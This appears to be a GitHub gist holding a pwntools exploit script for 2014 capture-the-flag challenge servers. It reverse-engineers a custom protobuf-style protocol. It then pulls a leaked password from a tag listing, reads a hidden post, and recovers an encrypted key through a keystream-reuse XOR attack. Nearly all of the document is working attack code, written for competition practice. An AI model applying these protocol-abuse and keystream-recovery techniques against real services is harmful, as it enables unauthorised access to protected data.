Created
May 19, 2014 00:01
-
-
Save TethysSvensson/d952bf797a4d71cddbba to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
import pwn2 | |
import sys | |
HELLO = 0 | |
READY = 1 | |
ERROR = 255 | |
REQ_POST = 11 | |
RESP_POST = 12 | |
REQ_GET_POST = 13 | |
RESP_GET_POST = 14 | |
REQ_LIST_POST = 15 | |
RESP_LIST_POST = 16 | |
REQ_LIST_TAG = 21 | |
RESP_LIST_TAG = 22 | |
REQ_LIST_RELATED = 31 | |
RESP_LIST_RELATED = 32 | |
def d_int(s): | |
res = 0 | |
mul = 1 | |
while s: | |
cur, s = s[0], s[1:] | |
cur = ord(cur) | |
res |= mul * (cur & 0x7f) | |
mul = mul << 7 | |
if not (cur & 0x80): | |
break | |
return res, s | |
def e_int(l): | |
if l < 0x80: | |
return chr(l) | |
else: | |
return chr((l & 0x7f) | 0x80) + e_int(l >> 7) | |
def decode1 (buf): | |
typ, buf = d_int(buf) | |
typ, field_num = (typ & 7), (typ >> 3) | |
assert field_num < 10 | |
if typ == 0: | |
val, buf = d_int(buf) | |
elif typ == 1: | |
assert len(buf) >= 8 | |
val, buf = u64(buf[:8]), buf[8:] | |
elif typ == 2: | |
size, buf = d_int(buf) | |
assert len(buf) >= size | |
val, buf = buf[:size], buf[size:] | |
try: | |
typs, val = decode(val) | |
field_num = (field_num, typs) | |
except Exception: | |
pass | |
elif typ == 5: | |
assert len(buf) >= 4 | |
val, buf = u64(buf[:4]), buf[4:] | |
return field_num, val, buf | |
def decode (buf): | |
vals = [] | |
typs = [] | |
while buf: | |
field_num, val, buf = decode1(buf) | |
vals.append(val) | |
typs.append(field_num) | |
return typs, vals | |
def encode1 (field_num, val): | |
if isinstance(val, (str, unicode)): | |
return e_int((field_num << 3) | 2) + e_int(len(val)) + val | |
elif isinstance(val, list): | |
val = encode(val) | |
return e_int((field_num << 3) | 2) + e_int(len(val)) + val | |
else: | |
raise Exception("Unsupported type: %s" % type(val)) | |
def encode (xs): | |
out = [] | |
for (field_num, val) in xs: | |
d = encode1(field_num, val) | |
out.append(d) | |
return ''.join(out) | |
def getmsg(): | |
code = r.recvn(1) | |
if len(code) != 1: | |
raise Exception("Did not recieve enough data for code") | |
code = u8(code) | |
length = r.recvn(4) | |
if len(length) != 4: | |
raise Exception("Did not recieve enough data for length") | |
length = u32b(length) | |
data = r.recvn(length) | |
if len(data) != length: | |
raise Exception("Did not recieve enough data") | |
typs, vals = decode(data) | |
return code, typs, vals | |
def sendmsg_raw(code, args): | |
msg = encode(args) | |
data = p8(code) + p32b(len(msg)) + msg | |
r.send(data) | |
def sendmsg(code, *args): | |
sendmsg_raw(code, list(args)) | |
return getmsg() | |
def login(): | |
code, typs, vals = getmsg() | |
assert code == HELLO | |
assert typs == [1] | |
uuid = vals[0] | |
assert sendmsg(HELLO, (1, uuid)) == (READY, [], []) | |
return uuid | |
def get_uuids(*tags): | |
if tags: | |
extras = [(1, [(1, t) for t in tags])] | |
else: | |
extras = [] | |
code, typs, uuids = sendmsg(REQ_LIST_POST, *extras) | |
assert code == RESP_LIST_POST | |
assert typs == [1]*len(typs) | |
return uuids | |
def get_tags(): | |
code, typs, vals = sendmsg(REQ_LIST_TAG) | |
assert code == RESP_LIST_TAG | |
assert typs == [(1, [1])]*len(typs) | |
return concat(vals) | |
def get_post(uuid, *extras): | |
code, typs, vals = sendmsg(REQ_GET_POST, *(list(extras) + [(1, uuid)])) | |
if code == ERROR: | |
assert typs == [1] | |
raise Exception(vals[0]) | |
assert code == RESP_GET_POST | |
assert len(typs) == 1 | |
typs = typs[0] | |
assert typs[0] == 1 | |
typs = typs[1] | |
assert typs[:3] == [1,2,3] | |
typs = typs[3:] | |
assert typs == [(4, [1])] * len(typs) | |
vals = vals[0] | |
return vals[0], vals[1], vals[2], vals[3] | |
def do_post(uuid, field0, field1, *tags): | |
msg = ( | |
1, [ | |
(1, uuid), | |
(2, field0), | |
(3, field1), | |
] + [(4, [(1, t)]) for t in tags] | |
) | |
code, typs, vals = sendmsg(REQ_POST, msg) | |
assert code == RESP_POST | |
assert typs == [1] | |
assert vals == [uuid] | |
def get_related(tag): | |
code, typs, vals = sendmsg(REQ_LIST_RELATED, (1, [(1, tag)])) | |
assert code == RESP_LIST_RELATED | |
assert typs == [(1, [1])] * len(typs) | |
return concat(vals) | |
def get_password(): | |
tags = get_related(get_tags()[0]) | |
password = [t for t in tags if 'password=' in t] | |
assert len(password) == 1 | |
password = password[0] | |
return password.split('=')[1] | |
def get_hidden(): | |
return get_post(get_uuids()[0], (2, get_password())) | |
def get_key(): | |
return get_hidden()[2] | |
def win2(): | |
global r | |
r = remote('fritas_91a318f87f384a080595696b3c73fc39.2014.shallweplayaga.me', 6908, silent = True, timeout = None) | |
login() | |
print get_key() | |
def win3(): | |
global r | |
r = remote('medianoche_8b447fc7f99c257ee475381093eb6b25.2014.shallweplayaga.me', 6909, silent = True, timeout = None) | |
login() | |
password = get_password() | |
pt = 'A' * 100 | |
do_post('foo', 'bar', pt, 'password=%s' % password) | |
ct = get_post('foo', (2, password))[2] | |
stream = xor(pt, ct) | |
print xor(stream, get_key(), cut='min') | |
win2() | |
win3() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment